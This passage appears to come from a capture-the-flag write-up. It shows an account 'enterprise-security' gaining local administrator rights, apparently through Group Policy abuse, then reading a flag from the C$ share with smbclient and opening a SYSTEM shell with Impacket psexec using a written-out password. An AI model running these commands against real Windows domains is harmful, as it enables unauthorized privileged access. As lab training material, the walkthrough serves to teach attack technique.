Password last set            2/23/2021 3:02:39 PM
Password expires             Never
Password changeable          2/24/2021 3:02:39 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/24/2021 12:18:05 PM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

Again the account was nto appearing in the Administrators group. But running net user enterprise-security a few minutes later it was appearing. So maybe PowerGPOAbuse was working too and I just needed to wait the sync (even if gpupdate says it's done).

We can now connect on the C$ share.

$ smbclient -I 10.10.103.170 -U 'enterprise-security' --password edited --client-protection sign '\\10.10.103.170\C$'
Try "help" to get a list of possible commands.
smb: \> get Users\Administrator\Desktop\system.txt
getting file \Users\Administrator\Desktop\system.txt of size 37 as Users\Administrator\Desktop\system.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Alternatively we can use Impackect PSexec:

$ psexec.py enterprise-security:sand_0873959498@10.10.103.170
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.103.170.....
[*] Found writable share ADMIN$
[*] Uploading file gvGKegKI.exe
[*] Opening SVCManager on 10.10.103.170.....
[*] Creating service akDa on 10.10.103.170.....
[*] Starting service akDa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1757]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
Share